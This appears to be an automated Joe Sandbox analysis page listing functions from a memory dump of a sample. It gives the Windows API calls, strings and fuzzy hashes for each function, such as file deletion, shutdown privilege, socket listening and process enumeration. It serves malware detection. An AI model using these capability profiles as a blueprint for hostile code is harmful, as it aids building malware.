Function 00205760 Relevance: 11.0, APIs: 7, Instructions: 532COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 002058A5
_memmove.LIBCMT ref: 002058F5
_memmove.LIBCMT ref: 0020595B

Memory Dump Source

Source File: 00000002.00000002.2449964781.00000000001F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000002.00000002.2449943752.00000000001F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.000000000027F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.00000000002A4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450103511.00000000002AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450123825.00000000002B7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1f0000_MzqLQjCwrw.jbxd

Similarity

API ID: _memmove
String ID:
API String ID: 4104443479-0
Opcode ID: befaca113523aca1f493384f5acd57398f86522b86f4c873d6930ca76755a9dd
Instruction ID: 39e3caaa564bb5985c60b45540124f309cf6269dcfc90da74120d0818b8fb707
Opcode Fuzzy Hash: befaca113523aca1f493384f5acd57398f86522b86f4c873d6930ca76755a9dd
Instruction Fuzzy Hash: 5E128970A10619DBDF08DFA5D981AEEB7F5FF48300F104529E906E7291EB75A9A0CF50

Function 00253B12 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 91fileCOMMON

Download Yara Rule

APIs

Part of subcall function 001F4750: GetFullPathNameW.KERNEL32(?,00007FFF,?,00000000,?,?,001F4743,?,?,001F37AE,?), ref: 001F4770

Part of subcall function 00254A31: GetFileAttributesW.KERNEL32(?,0025370B), ref: 00254A32

FindFirstFileW.KERNEL32(?,?), ref: 00253B89
DeleteFileW.KERNEL32(?,?,?,?), ref: 00253BD9
FindNextFileW.KERNEL32(00000000,00000010), ref: 00253BEA
FindClose.KERNEL32(00000000), ref: 00253C01
FindClose.KERNEL32(00000000), ref: 00253C0A

Strings

\*.*, xrefs: 00253B5B

Memory Dump Source

Source File: 00000002.00000002.2449964781.00000000001F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000002.00000002.2449943752.00000000001F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.000000000027F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.00000000002A4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450103511.00000000002AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450123825.00000000002B7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1f0000_MzqLQjCwrw.jbxd

Similarity

API ID: FileFind$Close$AttributesDeleteFirstFullNameNextPath
String ID: \*.*
API String ID: 2649000838-1173974218
Opcode ID: b192d3f65d5da67ba7e15de1fb8cb079a0b538df664d5b3f2e60f7c3abb04fae
Instruction ID: 4a938fca1c538acf9393ce0c7346ef1ae1578deb92ea670b0e8a9f3f6c9dd267
Opcode Fuzzy Hash: b192d3f65d5da67ba7e15de1fb8cb079a0b538df664d5b3f2e60f7c3abb04fae
Instruction Fuzzy Hash: 64319E3101C3899BC301EF24D8958BFB7A8BEA5315F400E2DF9D996191EB309A1CC767

Function 002551BD Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 59shutdownCOMMON

Download Yara Rule

APIs

Part of subcall function 002487E1: LookupPrivilegeValueW.ADVAPI32(00000000,00000000,00000004), ref: 0024882B
Part of subcall function 002487E1: AdjustTokenPrivileges.ADVAPI32(?,00000000,00000000,?,00000000,?), ref: 00248858
Part of subcall function 002487E1: GetLastError.KERNEL32 ref: 00248865

ExitWindowsEx.USER32(?,00000000), ref: 002551F9

Strings

, xrefs: 002551E7
@, xrefs: 002551EC
SeShutdownPrivilege, xrefs: 002551C9

Memory Dump Source

Source File: 00000002.00000002.2449964781.00000000001F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000002.00000002.2449943752.00000000001F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.000000000027F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.00000000002A4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450103511.00000000002AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450123825.00000000002B7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1f0000_MzqLQjCwrw.jbxd

Similarity

API ID: AdjustErrorExitLastLookupPrivilegePrivilegesTokenValueWindows
String ID: $@$SeShutdownPrivilege
API String ID: 2234035333-194228
Opcode ID: e2dc2780b9c711151076052abbb312e61a1cff954d1bf52407f0a4ed55b813ef
Instruction ID: 763dd6064cdea0b34fbc4a60245a5db633d26765853151d65bccd9db5e21201e
Opcode Fuzzy Hash: e2dc2780b9c711151076052abbb312e61a1cff954d1bf52407f0a4ed55b813ef
Instruction Fuzzy Hash: 010120357B56325BF7285664AC7BFBB7258DB05343F500421FD07D20D2D9B15C284B98

Function 00266283 Relevance: 9.1, APIs: 6, Instructions: 84networkCOMMON

Download Yara Rule

APIs

socket.WSOCK32(00000002,00000001,00000006,?,00000002,00000000), ref: 002662DC
WSAGetLastError.WSOCK32(00000000), ref: 002662EB
bind.WSOCK32(00000000,?,00000010), ref: 00266307
listen.WSOCK32(00000000,00000005), ref: 00266316
WSAGetLastError.WSOCK32(00000000), ref: 00266330
closesocket.WSOCK32(00000000,00000000), ref: 00266344

Memory Dump Source

Source File: 00000002.00000002.2449964781.00000000001F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000002.00000002.2449943752.00000000001F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.000000000027F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.00000000002A4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450103511.00000000002AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450123825.00000000002B7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1f0000_MzqLQjCwrw.jbxd

Similarity

API ID: ErrorLast$bindclosesocketlistensocket
String ID:
API String ID: 1279440585-0
Opcode ID: 9bb20e808906dd4b4069db79ddc68724f5be8b55decc78b28783a842fe5bb8e3
Instruction ID: abebc42602125883b45fd050864ebc1670ea6c7ad0569b19ca19b0e3f6b2ef2b
Opcode Fuzzy Hash: 9bb20e808906dd4b4069db79ddc68724f5be8b55decc78b28783a842fe5bb8e3
Instruction Fuzzy Hash: F621A0316002059FCB10EF64D98DF7EB7A9EF49720F148269E91AA73D1C770AD91CB51

Function 00205520 Relevance: 8.0, APIs: 5, Instructions: 516COMMON

Download Yara Rule

APIs

Part of subcall function 00210DB6: std::exception::exception.LIBCMT ref: 00210DEC
Part of subcall function 00210DB6: __CxxThrowException@8.LIBCMT ref: 00210E01

_memmove.LIBCMT ref: 00240258
_memmove.LIBCMT ref: 0024036D
_memmove.LIBCMT ref: 00240414

Memory Dump Source

Source File: 00000002.00000002.2449964781.00000000001F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000002.00000002.2449943752.00000000001F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.000000000027F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.00000000002A4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450103511.00000000002AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450123825.00000000002B7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1f0000_MzqLQjCwrw.jbxd

Similarity

API ID: _memmove$Exception@8Throwstd::exception::exception
String ID:
API String ID: 1300846289-0
Opcode ID: 4b9964e587f0ee0ca218f5f70eace4161dcadaf812f3f6e7dc59d84281ead475
Instruction ID: a6ef206ed67c18bb4aa3fa51936921545da8bb6f9be046c6897345a45e0bea36
Opcode Fuzzy Hash: 4b9964e587f0ee0ca218f5f70eace4161dcadaf812f3f6e7dc59d84281ead475
Instruction Fuzzy Hash: D802A470A10219DBCF08DF64D981ABEBBF5EF48300F548069E909DB295EB75D9A0CF91

Function 001F1287 Relevance: 7.9, APIs: 5, Instructions: 379COMMON

Download Yara Rule

APIs

Part of subcall function 001F2612: GetWindowLongW.USER32(?,000000EB), ref: 001F2623

DefDlgProcW.USER32(?,?,?,?,?), ref: 001F19FA
GetSysColor.USER32(0000000F), ref: 001F1A4E
SetBkColor.GDI32(?,00000000), ref: 001F1A61

Part of subcall function 001F1290: DefDlgProcW.USER32(?,00000020,?), ref: 001F12D8

Memory Dump Source

Source File: 00000002.00000002.2449964781.00000000001F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000002.00000002.2449943752.00000000001F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.000000000027F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.00000000002A4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450103511.00000000002AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450123825.00000000002B7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1f0000_MzqLQjCwrw.jbxd

Similarity

API ID: ColorProc$LongWindow
String ID:
API String ID: 3744519093-0
Opcode ID: b4039c62ad2530db188751c345030a3f910024dc19c22b71a5d1e5a8db35b028
Instruction ID: bb31c3147a5013e9e3b2b03816aeb04f2c8cd6dc3410eb486c11477056773649
Opcode Fuzzy Hash: b4039c62ad2530db188751c345030a3f910024dc19c22b71a5d1e5a8db35b028
Instruction Fuzzy Hash: 86A1CE701225ADFAD72DAF28AC48E7F365CEF42341F250209F706D7192CB219D619AB2

Function 0025BCBC Relevance: 7.6, APIs: 5, Instructions: 143fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(?,?), ref: 0025BCE6
_wcscmp.LIBCMT ref: 0025BD16
_wcscmp.LIBCMT ref: 0025BD2B
FindNextFileW.KERNEL32(00000000,?), ref: 0025BD3C
FindClose.KERNEL32(00000000,00000001,00000000), ref: 0025BD6C

Memory Dump Source

Source File: 00000002.00000002.2449964781.00000000001F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000002.00000002.2449943752.00000000001F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.000000000027F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.00000000002A4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450103511.00000000002AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450123825.00000000002B7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1f0000_MzqLQjCwrw.jbxd

Similarity

API ID: Find$File_wcscmp$CloseFirstNext
String ID:
API String ID: 2387731787-0
Opcode ID: a68625635ab284c0a21499ab8b0cc521f9629cdb5f2ac70c201fc81b8c37a1e8
Instruction ID: a2363b04513e72e017714f8da87abad617f13d3bb39b34c62604f526116a4afc
Opcode Fuzzy Hash: a68625635ab284c0a21499ab8b0cc521f9629cdb5f2ac70c201fc81b8c37a1e8
Instruction Fuzzy Hash: 8351AB356146069FC715DF28D491EAAB3F4EF4A320F00461DEA5A8B3A1DB30ED58CF95

Function 00266747 Relevance: 7.6, APIs: 5, Instructions: 141networkCOMMON

Download Yara Rule

APIs

Part of subcall function 00267D8B: inet_addr.WSOCK32(00000000,?,00000000,?,?,?,00000000), ref: 00267DB6

socket.WSOCK32(00000002,00000002,00000011,?,?,00000000), ref: 0026679E
WSAGetLastError.WSOCK32(00000000), ref: 002667C7
bind.WSOCK32(00000000,?,00000010), ref: 00266800
WSAGetLastError.WSOCK32(00000000), ref: 0026680D
closesocket.WSOCK32(00000000,00000000), ref: 00266821

Memory Dump Source

Source File: 00000002.00000002.2449964781.00000000001F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000002.00000002.2449943752.00000000001F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.000000000027F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.00000000002A4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450103511.00000000002AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450123825.00000000002B7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1f0000_MzqLQjCwrw.jbxd

Similarity

API ID: ErrorLast$bindclosesocketinet_addrsocket
String ID:
API String ID: 99427753-0
Opcode ID: 12fdde4a843cb711e6a8aeb5437a424d5b79c9d042e2ec8533c48ae0b7035cd9
Instruction ID: a00c8502bfa4d2d69395af0fc781b729e6619004b0ec50d0ee92de7e76634b3f
Opcode Fuzzy Hash: 12fdde4a843cb711e6a8aeb5437a424d5b79c9d042e2ec8533c48ae0b7035cd9
Instruction Fuzzy Hash: 7441D375A00208AFDB50BF689C8AF7E77A8DF19754F048558FA19AB3D2CB709D408B91

Function 00275376 Relevance: 7.6, APIs: 5, Instructions: 69windowCOMMON

Download Yara Rule

APIs

IsWindowVisible.USER32 ref: 002753C5
IsWindowEnabled.USER32 ref: 002753D3
GetForegroundWindow.USER32(?,?,00000001), ref: 002753E0
IsIconic.USER32 ref: 002753EE
IsZoomed.USER32 ref: 002753FC

Memory Dump Source

Source File: 00000002.00000002.2449964781.00000000001F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000002.00000002.2449943752.00000000001F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.000000000027F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.00000000002A4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450103511.00000000002AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450123825.00000000002B7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1f0000_MzqLQjCwrw.jbxd

Similarity

API ID: Window$EnabledForegroundIconicVisibleZoomed
String ID:
API String ID: 292994002-0
Opcode ID: 6c67377ddea85b2660d2db07fe9869c4f9ec436c57ce60018dff9fdca4744160
Instruction ID: 50061017ecc17ac3c9645a0ca533d4834c4490c688962922c396e3fc421fa2ac
Opcode Fuzzy Hash: 6c67377ddea85b2660d2db07fe9869c4f9ec436c57ce60018dff9fdca4744160
Instruction Fuzzy Hash: 651104313149256FEB206F26DC48B2EFB9CEF443A0B408068F80ED7251CBF0DC518AA4

Function 002480A9 Relevance: 7.5, APIs: 5, Instructions: 45memoryCOMMON

Download Yara Rule

APIs

GetTokenInformation.ADVAPI32(?,00000002,?,00000000,?), ref: 002480C0
GetLastError.KERNEL32(?,00000002,?,00000000,?), ref: 002480CA
GetProcessHeap.KERNEL32(00000008,?,?,00000002,?,00000000,?), ref: 002480D9
HeapAlloc.KERNEL32(00000000,?,00000002,?,00000000,?), ref: 002480E0
GetTokenInformation.ADVAPI32(?,00000002,00000000,?,?,?,00000002,?,00000000,?), ref: 002480F6

Memory Dump Source

Source File: 00000002.00000002.2449964781.00000000001F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000002.00000002.2449943752.00000000001F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.000000000027F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.00000000002A4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450103511.00000000002AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450123825.00000000002B7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1f0000_MzqLQjCwrw.jbxd

Similarity

API ID: HeapInformationToken$AllocErrorLastProcess
String ID:
API String ID: 44706859-0
Opcode ID: 3484e68f5620b4721c07302b1549f98c5ccaa6697940274cd71c6f04a8d0d926
Instruction ID: 0b6349c8dfbee92e481d2216ec05d332f9124b1949be9a2da5591aeec005e956
Opcode Fuzzy Hash: 3484e68f5620b4721c07302b1549f98c5ccaa6697940274cd71c6f04a8d0d926
Instruction Fuzzy Hash: 25F04F31264215AFEB101FA5EC8DE6B3BACFF4A755F400026F94DD6150CA619C91DA60

Function 001F4B37 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 18libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(kernel32.dll,?,001F4AD0), ref: 001F4B45
GetProcAddress.KERNEL32(00000000,GetNativeSystemInfo), ref: 001F4B57

Strings

kernel32.dll, xrefs: 001F4B40
GetNativeSystemInfo, xrefs: 001F4B51

Memory Dump Source

Source File: 00000002.00000002.2449964781.00000000001F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000002.00000002.2449943752.00000000001F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.000000000027F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.00000000002A4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450103511.00000000002AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450123825.00000000002B7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1f0000_MzqLQjCwrw.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: GetNativeSystemInfo$kernel32.dll
API String ID: 2574300362-192647395
Opcode ID: 4d08fb1c4d29852c8ef85fee4c7aafdbc42ae727e412d51826cac34d7bf8f9a6
Instruction ID: 62c2c029c2e1a282befc871fb38ee866a34d8487c52d3d60bcad92330e706a52
Opcode Fuzzy Hash: 4d08fb1c4d29852c8ef85fee4c7aafdbc42ae727e412d51826cac34d7bf8f9a6
Instruction Fuzzy Hash: 29D01274A14717CFD7609F31E918B1676D4AF05355F11C879948DD6550E770D4C0CA54

Function 0026EE0D Relevance: 6.2, APIs: 4, Instructions: 164processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32 ref: 0026EE3D
Process32FirstW.KERNEL32(00000000,?), ref: 0026EE4B

Part of subcall function 001F7DE1: _memmove.LIBCMT ref: 001F7E22

Process32NextW.KERNEL32(00000000,?), ref: 0026EF0B
CloseHandle.KERNEL32(00000000,?,?,?), ref: 0026EF1A

Memory Dump Source

Source File: 00000002.00000002.2449964781.00000000001F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000002.00000002.2449943752.00000000001F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.000000000027F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.00000000002A4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450103511.00000000002AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450123825.00000000002B7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1f0000_MzqLQjCwrw.jbxd

Similarity

API ID: Process32$CloseCreateFirstHandleNextSnapshotToolhelp32_memmove
String ID:
API String ID: 2576544623-0
Opcode ID: ae2f5af5ce1e5084821d900b702a6bffc6e2c38e0415121e12294658f9205c0b
Instruction ID: fa4f1db702ee8fdebba70b6ca277033be2e134828871c7967570be1dfa0c02ed
Opcode Fuzzy Hash: ae2f5af5ce1e5084821d900b702a6bffc6e2c38e0415121e12294658f9205c0b
Instruction Fuzzy Hash: 7E51AF71108705AFD710EF24DC85E6BB7E8FF98710F50482DF695972A1EB70A944CB92

Function 0024E616 Relevance: 5.1, APIs: 1, Strings: 2, Instructions: 561stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(?,?,?,00000000), ref: 0024E628

Strings

(, xrefs: 0024E66E
|, xrefs: 0024E658

Memory Dump Source

Source File: 00000002.00000002.2449964781.00000000001F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000002.00000002.2449943752.00000000001F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.000000000027F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.00000000002A4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450103511.00000000002AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450123825.00000000002B7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1f0000_MzqLQjCwrw.jbxd

Similarity

API ID: lstrlen
String ID: ($|
API String ID: 1659193697-1631851259
Opcode ID: 7b61a77311957a83552dfb8b12955bb468a7db6da578783ebb8d9ca2f984b1d7
Instruction ID: 4a6694a5e64e764abc958e6b0798ce317abe5d1feb08151f42a092d3e903bbc3
Opcode Fuzzy Hash: 7b61a77311957a83552dfb8b12955bb468a7db6da578783ebb8d9ca2f984b1d7
Instruction Fuzzy Hash: 90321575A107059FDB28CF19C48196AB7F1FF48320B16C56EE89ADB3A1E770E991CB40

Function 002622EE Relevance: 4.7, APIs: 3, Instructions: 164networkfileCOMMON

Download Yara Rule

APIs

InternetQueryDataAvailable.WININET(00000001,?,00000000,00000000,00000000,?,?,?,?,?,?,?,?,0026180A,00000000), ref: 002623E1
InternetReadFile.WININET(00000001,00000000,00000001,00000001), ref: 00262418

Memory Dump Source

Source File: 00000002.00000002.2449964781.00000000001F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000002.00000002.2449943752.00000000001F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.000000000027F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.00000000002A4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450103511.00000000002AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450123825.00000000002B7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1f0000_MzqLQjCwrw.jbxd

Similarity

API ID: Internet$AvailableDataFileQueryRead
String ID:
API String ID: 599397726-0
Opcode ID: c8e2849d441b573b6dab2c6ecc7a4cf7906df694a599f8ad466057d8cf6bd530
Instruction ID: 7fe9d5d124ae1cfe70019f0f7b8e1e1c1385debe7bf6bdd7d28ea392d94c816e
Opcode Fuzzy Hash: c8e2849d441b573b6dab2c6ecc7a4cf7906df694a599f8ad466057d8cf6bd530
Instruction Fuzzy Hash: 5141D87192460AFFDB10DE95DC85FFBB7BCEB40314F10406AFA05A6240DBB49DE99A50

Function 0025B333 Relevance: 4.6, APIs: 3, Instructions: 73COMMON

Download Yara Rule

APIs

SetErrorMode.KERNEL32(00000001), ref: 0025B343
GetDiskFreeSpaceExW.KERNEL32(?,?,?,?), ref: 0025B39D
SetErrorMode.KERNEL32(00000000,00000001,00000000), ref: 0025B3EA

Memory Dump Source

Source File: 00000002.00000002.2449964781.00000000001F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000002.00000002.2449943752.00000000001F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.000000000027F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.00000000002A4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450103511.00000000002AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450123825.00000000002B7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1f0000_MzqLQjCwrw.jbxd

Similarity

API ID: ErrorMode$DiskFreeSpace
String ID:
API String ID: 1682464887-0
Opcode ID: 44a0325497f2e8989e94a0e5d38b153e7a3c2d066a5a8b9df94b5b144ad3ae34
Instruction ID: e6b6ad8deb4d9defdf8254cfacf42be84b3de2a43c0d3d3cd5894ad2ce5c6b28
Opcode Fuzzy Hash: 44a0325497f2e8989e94a0e5d38b153e7a3c2d066a5a8b9df94b5b144ad3ae34
Instruction Fuzzy Hash: 53219035A0050CEFCB00EFA5D884AEDBBB8FF49310F1480AAE909AB361CB319955CF54

Function 002487E1 Relevance: 4.6, APIs: 3, Instructions: 67COMMON

Download Yara Rule

APIs

Part of subcall function 00210DB6: std::exception::exception.LIBCMT ref: 00210DEC
Part of subcall function 00210DB6: __CxxThrowException@8.LIBCMT ref: 00210E01

LookupPrivilegeValueW.ADVAPI32(00000000,00000000,00000004), ref: 0024882B
AdjustTokenPrivileges.ADVAPI32(?,00000000,00000000,?,00000000,?), ref: 00248858
GetLastError.KERNEL32 ref: 00248865

Memory Dump Source

Source File: 00000002.00000002.2449964781.00000000001F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000002.00000002.2449943752.00000000001F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.000000000027F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.00000000002A4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450103511.00000000002AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450123825.00000000002B7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1f0000_MzqLQjCwrw.jbxd

Similarity

API ID: AdjustErrorException@8LastLookupPrivilegePrivilegesThrowTokenValuestd::exception::exception
String ID:
API String ID: 1922334811-0
Opcode ID: e0fae29dadd57c3ee65a7338e53ada048e8697f0f274a4beea6e5bcfb233ff42
Instruction ID: f264e09798341ab16f8654933bb15c91b56a4757226125b83ef2ad3b6ee03bfe
Opcode Fuzzy Hash: e0fae29dadd57c3ee65a7338e53ada048e8697f0f274a4beea6e5bcfb233ff42
Instruction Fuzzy Hash: FB118FB2424209AFE728DFA4EC85D6BB7FDFB45710B20852EF45597241EB70BC908B60

Function 0024874B Relevance: 4.5, APIs: 3, Instructions: 43memoryCOMMON

Download Yara Rule

APIs

AllocateAndInitializeSid.ADVAPI32(?,00000002,00000020,00000220,00000000,00000000,00000000,00000000,00000000,00000000,?), ref: 00248774
CheckTokenMembership.ADVAPI32(00000000,?,?), ref: 0024878B
FreeSid.ADVAPI32(?), ref: 0024879B

Memory Dump Source

Source File: 00000002.00000002.2449964781.00000000001F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000002.00000002.2449943752.00000000001F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.000000000027F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.00000000002A4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450103511.00000000002AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450123825.00000000002B7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1f0000_MzqLQjCwrw.jbxd

Similarity

API ID: AllocateCheckFreeInitializeMembershipToken
String ID:
API String ID: 3429775523-0
Opcode ID: 7097741f0020e4c3218d19e75d7bed855c3493dc02bac0a61de31902c3c1bb1f
Instruction ID: 4f99cabb67bf1679e92063b8720b2b6b678649f7a58eaf841c1acba4621f815d
Opcode Fuzzy Hash: 7097741f0020e4c3218d19e75d7bed855c3493dc02bac0a61de31902c3c1bb1f
Instruction Fuzzy Hash: F4F04975A5530DBFDF04DFF4DD89EAEBBBCEF08201F1044A9A905E2281E6716A448B50

Function 00258889 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 68COMMON

Download Yara Rule

APIs

__time64.LIBCMT ref: 0025889B

Part of subcall function 0021520A: GetSystemTimeAsFileTime.KERNEL32(00000000,?,?,?,00258F6E,00000000,?,?,?,?,0025911F,00000000,?), ref: 00215213
Part of subcall function 0021520A: __aulldiv.LIBCMT ref: 00215233

Strings

0e+, xrefs: 00258892

Memory Dump Source

Source File: 00000002.00000002.2449964781.00000000001F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001F0000, based on PE: true

